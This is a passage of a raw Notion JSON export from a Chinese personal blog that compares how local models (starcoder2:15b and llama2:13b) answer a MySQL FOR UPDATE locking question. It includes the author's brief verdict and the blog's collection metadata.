released."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2834c258-d3b3-48ce-9e95-8a21b18053f8":{"value":{"id":"2834c258-d3b3-48ce-9e95-8a21b18053f8","type":"text","properties":{"title":[["Note that the "],["LOCK TABLE",[["c"]]],[" statement can be used to acquire locks on multiple rows or tables, and it can also be used to acquire locks for longer periods of time than the default isolation level. However, it is important to use this statement judiciously and only when necessary to avoid contention and deadlocks."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"6e0e38e9-7774-4f49-9fbb-67e52a21593d":{"value":{"id":"6e0e38e9-7774-4f49-9fbb-67e52a21593d","type":"sub_header","properties":{"title":[["starcoder2:15b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049703,"last_edited_time":1711431711891,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2":{"value":{"id":"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","type":"text","properties":{"title":[["thank youusername_1: You are looking for a tool called "],["VisualVM",[["a","http://visualvm.java.net/"]]],[". It is part of the JDK and it allows you to connect to running java applications and view their memory consumption, threads etc.\nUpvotes: 2 username_2: Have a look at the Eclipse Memory Analyzer (MAT) plugin ("],["http://www.eclipse.org/mat/",[["a","http://www.eclipse.org/mat/"]]],["), there's a video that shows how to use it: "],["http://vimeo.com/7698540",[["a","http://vimeo.com/7698540"]]],["\nUpvotes: 3 [selected_answer]username_3: I like JProfiler for this kind of thing. It has a very intuitive GUI and gives you the information you need in a way that makes sense."]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"926cfd3e-8b8e-4b25-b780-3aedf4064879":{"value":{"id":"926cfd3e-8b8e-4b25-b780-3aedf4064879","type":"text","properties":{"title":[["http://www.ej-technologies.com/products/jprofiler/overview.html",[["a","http://www.ej-technologies.com/products/jprofiler/overview.html"]]],["\nUpvotes: 1 username_4: I have found "],["JProfiler",[["a","http://www.ej-technologies.com/"]]],[" to be very useful for this. It has a nice UI and is easy to use.\nUpvotes: 0"]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9d06ce11-437e-4aef-8661-c6551d358cf5":{"value":{"id":"9d06ce11-437e-4aef-8661-c6551d358cf5","type":"sub_header","properties":{"title":[["llama2:13b"]]},"created_time":1711361530044,"last_edited_time":1711431714948,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eecdbd14-19a7-4050-ab78-a5c5044e1336":{"value":{"id":"eecdbd14-19a7-4050-ab78-a5c5044e1336","type":"text","properties":{"title":[["Ah, I see! You're trying to understand the locking mechanism in MySQL when using the "],["FOR UPDATE",[["c"]]],[" clause. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"202e55b5-762e-4ef1-90b0-2cc0ae26a99b":{"value":{"id":"202e55b5-762e-4ef1-90b0-2cc0ae26a99b","type":"text","properties":{"title":[["When you execute a query like "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", MySQL acquires a lock on the rows that match the condition "],["c = 5",[["c"]]],[". This lock is called an \"X-lock\" or \"exclusive lock,\" which means that no other session can modify those rows until the current session releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"995338cf-4874-48b5-a462-ea834bd6b31b":{"value":{"id":"995338cf-4874-48b5-a462-ea834bd6b31b","type":"text","properties":{"title":[["The locking mechanism in MySQL is based on the InnoDB storage engine, which uses a technique called \"pessimistic locking.\" This means that when a session wants to acquire a lock on a row, it first checks whether the row is already locked by another session. If the row is not locked, the session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"bd7b81b2-82bd-4a81-950c-37ebef55f856":{"value":{"id":"bd7b81b2-82bd-4a81-950c-37ebef55f856","type":"text","properties":{"title":[["Now, to answer your questions:"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"009e62c7-e513-4e3e-a0bb-731c95f0d22a":{"value":{"id":"009e62c7-e513-4e3e-a0bb-731c95f0d22a","type":"numbered_list","properties":{"title":[["The process of locking: When a session executes a query with the "],["FOR UPDATE",[["c"]]],[" clause, MySQL first checks whether the rows that match the condition are already locked by another session. If the rows are not locked, the current session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock."]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8b44dcb2-d944-4983-9c68-ff1d8e23825b":{"value":{"id":"8b44dcb2-d944-4983-9c68-ff1d8e23825b","type":"numbered_list","properties":{"title":[["The time of release lock: When a session releases the lock on a row or set of rows, the lock is immediately released, and other sessions can then acquire the lock again. There is no specific \"time of release\" for locks in MySQL; instead, the lock is released as soon as the current session commits or rolls back the transaction. 🔒"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f9d3a393-9d76-4add-88b5-3f03e58614af":{"value":{"id":"f9d3a393-9d76-4add-88b5-3f03e58614af","type":"text","properties":{"title":[["I hope this helps clarify the locking mechanism in MySQL! Let me know if you have any other questions or concerns. 😊"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"440e5ba9-2309-4223-9df2-50ca1b67e237":{"value":{"id":"440e5ba9-2309-4223-9df2-50ca1b67e237","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360982676,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"04273a50-0752-4c70-a1c5-d63b004d565a":{"value":{"id":"04273a50-0752-4c70-a1c5-d63b004d565a","type":"bulleted_list","properties":{"title":[["llama2效果不错,starcoder2不知所云"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711431747530,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf":{"value":{"id":"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","type":"bulleted_list","properties":{"title":[["m1pro+32g环境下,4b模型在本地运行速度还可以,15b运行起来就特别吃力"]]},"created_time":1711432113232,"last_edited_time":1711432147190,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e1da917b-bb71-4252-9f5f-d1c997b18551":{"value":{"id":"e1da917b-bb71-4252-9f5f-d1c997b18551","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"9e9a91b1-4853-4e82-be32-ac8af17739b0":{"value":{"id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","type":"column_list","content":["efee572a-8601-404e-9dfb-74c4f2f669bc","3147a22c-843a-46c3-a4d0-89eb62b6bd7e","d8150945-8bbf-4df1-8e0e-dea8d8f5e04e"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"efee572a-8601-404e-9dfb-74c4f2f669bc":{"value":{"id":"efee572a-8601-404e-9dfb-74c4f2f669bc","type":"column","content":["4d04175f-a93b-49b6-a609-74961770136f"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"3147a22c-843a-46c3-a4d0-89eb62b6bd7e":{"value":{"id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","type":"column","content":["1fe1e95a-cd49-421a-b7a7-916a18f2655d","17ce2e3c-f255-464e-8b1d-64ab9c7648c3"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e":{"value":{"id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","type":"column","content":["57be63c6-8825-4b09-ab16-3014cdee1119"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"4d04175f-a93b-49b6-a609-74961770136f":{"value":{"id":"4d04175f-a93b-49b6-a609-74961770136f","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"efee572a-8601-404e-9dfb-74c4f2f669bc","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"1fe1e95a-cd49-421a-b7a7-916a18f2655d":{"value":{"id":"1fe1e95a-cd49-421a-b7a7-916a18f2655d","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"57be63c6-8825-4b09-ab16-3014cdee1119":{"value":{"id":"57be63c6-8825-4b09-ab16-3014cdee1119","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833153,"last_edited_time":1711360833153,"parent_id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"17ce2e3c-f255-464e-8b1d-64ab9c7648c3":{"value":{"id":"17ce2e3c-f255-464e-8b1d-64ab9c7648c3","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"189b1da9-975a-42da-a706-02494cb76d01":{"value":{"id":"189b1da9-975a-42da-a706-02494cb76d01","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":t